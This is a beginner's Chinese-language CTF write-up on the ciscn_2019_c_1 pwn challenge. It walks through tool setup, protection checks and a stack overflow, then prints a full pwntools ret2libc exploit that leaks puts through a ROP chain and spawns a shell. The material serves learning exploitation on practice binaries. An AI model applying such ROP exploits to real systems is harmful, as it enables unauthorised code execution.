小白垃圾做题笔记而已,不建议阅读。
1前期:
其实刚开始拿到程序的时候我还以为是逆向题放错地方了。唉,做题太少了。啥也不会。我是大笨蛋。
题目中用的是ubuntu18,我的ubuntu没怎么用过,vmtools都不能用,我又搞vmtools
按照正常的流程没有安装成功。
看了这位师傅的博客。
Ubuntu下关于vmtools安装成功后不能拖动文件的解决方法_vmtools安装完拉不进去文件_机务猿的博客-CSDN博客z
最主要的是后边两行命令
如果第一条不好用就用第二条
中间需要reboot(重启)哈
重启不管用了再下一条。
sudo apt install open-vm-tools
sudo apt install open-vm-tools-desktop
搞好vmtools后我去checksec查看保护,但是并没有任何输出。
发现没有pwngdb,唉,又去搞pwngdb,好在18比16好,没有什么版本问题。
好像有警告,但是我没管哈哈,我是大笨蛋。
不知道为啥安装后的checksec 只能在gdb內部使用,先凑活用吧。
2.做题
搞好后查看保护:
没有canary,内有pie,relro部分开启,NX 开启。
relro我理解的主要是got表和plt表,chat说还有什么动态链接库指针,我太懂。
如果只分析got和plt关于FULL RELRO和PARTIAL RELRO 来说
chat是这样说:
主要函数应该是一个,其实就是加密函数。
加密函数中是存在栈溢出漏洞的。由于开启了NX所以需要用ret2xxx绕过。而程序中并没有找到system和/bin/sh。那么就是ret2libc了吧。其实我刚开始是很懵逼的。后来才看了wp才知道是ret2libc的。
那么就来看下这道题。
程序一开始就调用了puts,并且是PARTIAL RELRO,那么就是说我们可以泄露出puts的真实地址,然后获取libc地址,通过偏移计算出system函数的地址,和/bin/bash地址。
所以我们需要构造两次payload,第一次将puts的地址打印出来,第二次获取shell
可能是由于ida的原因,我并没有发现X的取值,
师傅的wp中是绕过了长度判断用‘\0’
但是我发现不用\0也可以绕过。就是strlen好像是不用绕过的。
具体原理并不太懂。我猜可能是我们覆盖的返回地址最高位本身转化成字节类型可能就是\0???
好像并不是这样的:
我写了一个实验:
#include <stdio.h> int main() { char s[80]; memset(s,0,0x30uLL); puts("Pleas Input"); gets(s); printf("%d\n",strlen(s)); return 0; }
from pwn import *
io = process('./a.out')
context.log_level='debug'
pause()
pop_rdi_ret = 0x0000000000400c83
ret_addr = 0x00000000004006b9
payload=b'aaaaaaa'+p64(pop_rdi_ret)
io.sendlineafter('t\n',payload)
io.interactive()
唉,没办法先这样吧,希望哪天有位大佬点醒梦中人。
exp是这个样子的:
from pwn import *
#下边这一行是导入LibcSearcher库,用于根据某个函数的地址获取libc版本
from LibcSearcher import *
#这一行的作用是设置一些参数开启debug后可以显示接受数据以及发送数据
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pause()
io = process('./ciscn_2019_c_1')
#io = remote('redirect.do-not-trust.hacking.run', 10312)
elf = ELF('./ciscn_2019_c_1')
#获取puts函数的plt表地址,got表地址,以及系统main函数地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
#查找poprdi指令对应的地址
pop_rdi_ret = 0x0000000000400c83
#查找ret指令对应的地址
# ROPgadget --binary ciscn_2019_c_1 --only 'ret'
ret_addr = 0x00000000004006b9
io.sendlineafter('Input your choice!\n', '1')
#构造payload
#首先填充0x58个字节a,用来覆盖到返回地址
# 然后我们把返回地址给覆盖成了pop rdi ret 指令的地址
#栈中 pop rdi 地址后边是puts对应的got表的地址,这个地址会被pop到rdi ,在后来是puts的plt地址,再后边是main函数地址
#执行的时候:
#首先返回地址会去pop rdi
#这个时候栈顶所指向的是got表的地址,也就是说将puts的got表中的地址放到rdi中
#然后是 ret 将当前栈顶所执行的地址(puts的plt表的地址)给ip
#既然ip指向了puts对应的plt表,那么就会去执行puts函数
#执行puts函数的时候参数是rdi中的内容,刚刚被我们改成puts函数对应的got表地址了
#所以他会将puts的got表的地址打印出来,我们等下接接收下。
#,因为后边放的是返回地址,我们将返回地址覆盖成了main函数的地址
#接下来他会二次执行main函数
payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#当他让我们输入的时候我们发动攻击
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)
#攻击后会打印,我们接收下。为什么是接收到6个字节呢,这个好像是跟页的加载有关。
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#根据接受的地址获取libc版本,我猜就是执行到这行函数的时候打印的让我们选择libc版本
libc = LibcSearcher('puts', puts_addr) #获取版本
libc_base = puts_addr - libc.dump('puts') #计算libc基地址
system_addr = libc_base + libc.dump('system') #计算system地址 dump是获取偏移用的
binsh_addr = libc_base + libc.dump('str_bin_sh') #计算/bin/sh地址
#我们将payload打过去后他打印出来地址后会返回i到main函数的地址,继续执行main
io.sendlineafter(b'Input your choice!\n', b'1')
#这一次我们以已经知道system的地址了,我们首先将\bin\sh地址给rdi,用来当作system的参数 中间是\bin\sh的地址 我们将返回地址覆盖为system地址
#
payload7 = b'a' * (0x50 + 0x08 ) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sleep(1)
io.sendlineafter('encrypted\n', payload7)
io.interactive()
# 接收puts函数打印回显值,截取低三位,分页机制导致libc后三位恒不变,加以区分
一次没打通,打了几次才打通。